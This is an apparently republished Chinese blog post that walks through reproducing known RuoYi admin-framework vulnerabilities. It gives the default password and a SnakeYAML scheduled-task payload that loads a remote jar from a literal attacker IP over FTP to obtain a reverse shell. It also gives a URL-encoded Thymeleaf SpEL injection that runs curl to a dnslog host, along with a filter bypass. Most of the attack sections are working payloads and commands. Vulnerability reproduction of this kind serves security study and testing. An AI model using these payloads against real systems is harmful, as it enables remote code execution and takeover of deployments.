草庐IT

Ruoyi若依漏洞复现总结

amingMM 2023-11-26 原文

Ruoyi若依漏洞复现总结

https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

官方漏洞历史文档

弱口令 初始密码

admin admin123

CMS 4.6.0 后台RCE

反射+Yaml达到的代码执行

若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段。

查看定时任务的具体代码,定位到
ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java。

假设我们输入com.hhddj1.hhddj2.hhddj3()

经解析后

beanName为com.hhddj1.hhddj2
methodName为hhddj3
methodParams为[]

 /**
 * 执行方法
 *
 * @param sysJob 系统任务
 */
public static void invokeMethod(SysJob sysJob) throws Exception
{
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);

    if (!isValidClassName(beanName))
    {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    }
    else
    {
        Object bean = Class.forName(beanName).newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

反射Runtime失败

想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec(“”)。

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

 Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);

然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数

无参
public

而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(“”),会报错。

反射ProcessBuilder失败

同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数,
但是并不代表ProcessBuilder的构造函数是无参的。
因此使用ProcessBuilder的payload也会报错。

ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();

ProcessBuilder的构造函数

 public ProcessBuilder(List<String> var1) {
    if (var1 == null) {
        throw new NullPointerException();
    } else {
        this.command = var1;
    }
}

public ProcessBuilder(String... var1) {
    this.command = new ArrayList(var1.length);
    String[] var2 = var1;
    int var3 = var1.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String var5 = var2[var4];
        this.command.add(var5);
    }

}

构造Yaml类

想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。

因为根据若依的定时任务代码,需要满足以下条件:

类的构造函数无参且public
调用的方法的参数类型只能是String/int/long/double
该方法具有代码执行的潜力

因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。

所以我们构造了以下payload,使用ftp协议的原因是http被禁用

 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ip/yaml-payload.jar"]
  ]]
]')

yaml-payload.jar的生成过程:

1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)

2)将IP和端口改成我们对应攻击机上的IP和端口

3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。

 javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

E:\hack\exp\yaml-payload-master
λ jar -cvf yaml-payload.jar -C src/ .
已添加清单
正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory - 副本.java(输入 = 1589) (输出 = 427)(压缩了 73%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1535) (输出 = 444)(压缩了 71%)
正在忽略条目META-INF/
正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)



漏洞利用过程

1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。

2.攻击机:监听2333端口


3.若依管理后台,新建定时任务,目标调用字符串写

 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://101.43.159.27/yaml-payload.jar"]
  ]]
]')

0/10 * * * * ?


4.攻击机上收到反弹shell

结合Thymeleaf注入的代码执行

在代码审计若依的时候,发现了Thymeleaf语法的一些问题

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

 @PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

这四段接口方法中,都使用了thymeleaf的语法:

“/xxx::” + fragment;

我们构造fragment的值为:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

当我们构造的模板片段被thymeleaf解析时,
thymeleaf会将识别出fragment为SpringEL表达式。
不管是?fragment=header(payload)还是?fragment=payload


但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)“或者"new SomeClass”


这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞利用过程

1.将payload进行HTML编码

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求

有关Ruoyi若依漏洞复现总结的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. SPI接收数据异常问题总结 - 2

    SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手

  3. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  4. Simulink方法总结和避坑指南(一)——Simulink入门与基本调试方法 - 2

    文章目录一、项目场景二、基本模块原理与调试方法分析——信源部分:三、信号处理部分和显示部分:四、基本的通信链路搭建:四、特殊模块:interpretedMATLABfunction:五、总结和坑点提醒一、项目场景  最近一个任务是使用simulink搭建一个MIMO串扰消除的链路,并用实际收到的数据进行测试,在搭建的过程中也遇到了不少的问题(当然这比vivado里面的debug好不知道多少倍)。准备趁着这个机会,先以一个很基本的通信链路对simulink基础和相关的debug方法进行总结。  在本篇中,主要记录simulink的基本原理和基本的SISO通信传输链路(QPSK方式),计划在下篇记

  5. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  6. 【动态规划】背包问题(详细总结,很全) - 2

    【动态规划】一、背包问题1.背包问题总结1)动规四部曲:2)递推公式总结:3)遍历顺序总结:2.01背包1)二维dp数组代码实现2)一维dp数组代码实现3.完全背包代码实现4.多重背包代码实现一、背包问题1.背包问题总结暴力的解法是指数级别的时间复杂度。进而才需要动态规划的解法来进行优化!背包问题是动态规划(DynamicPlanning)里的非常重要的一部分,关于几种常见的背包,其关系如下:在解决背包问题的时候,我们通常都是按照如下五部来逐步分析,把这五部都搞透了,算是对动规来理解深入了。1)动规四部曲:(1)确定dp数组及其下标的含义(2)确定递推公式(3)dp数组的初始化(4)确定遍历顺

  7. 若依框架(ruoyi-cloud)学习 - 2

    com.ruoyi├──ruoyi-ui//前端框架[80]├──ruoyi-gateway//网关模块[8080]├──ruoyi-auth//认证中心[9200]├──ruoyi-api//接口模块│└──ruoyi-api-system//系统接口├──ruoyi-common//通用模块│└──ruoyi-common-core//核心模块│└──ruoyi-common-datascope//权限范围│└──ruoyi-common-datasource//多数据源│└──ruoyi-common-log//日志记录│└──ruoyi-common-redis//缓存服务│└──ru

  8. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

  9. 若依框架解读(微服务版)——2.模块间的调用逻辑(ruoyi-api模块)(OpenFeign)(@innerAuth) - 2

    模块之间的关系我们可以了解到一共有这么多服务,我们先启动这三个服务其中rouyi–api模块是远程调用也就是提取出来的openfeign的接口ruoyi–commom是通用工具模块其他几个都是独立的服务ruoyi-api模块api模块当中有几个提取出来的OpenFeign的接口分别为文件,日志,用户服务我们以RemoteUserService接口为例子:其中contextId="remoteUserService"为bean的名称,value=ServiceNameConstants.SYSTEM_SERVICE为接口的描述,fallbackFactory=RemoteUserFallback

  10. 相机面试问题总结 - 2

    1,Camera基本工作原理答案:光线通过镜头Lens进入摄像头内部,然后经过IRFilter过滤红外光,最后到达sensor(传感器),senor分为按照材质可以分为CMOS和CCD两种,可以将光学信号转换为电信号,再通过内部的ADC电路转换为数字信号,然后传输给DSP(如果有的话,如果没有则以DVP的方式传送数据到基带芯片baseband,此时的数据格式RawData,后面有讲进行加工)加工处理,转换成RGB、YUV等格式输出。数据流是如何从sensor到APP的?上述描述结束后,在ISP处理后面的阶段,数据会进行分流,分为capture,preview,video等以供后续动作使用。例如

随机推荐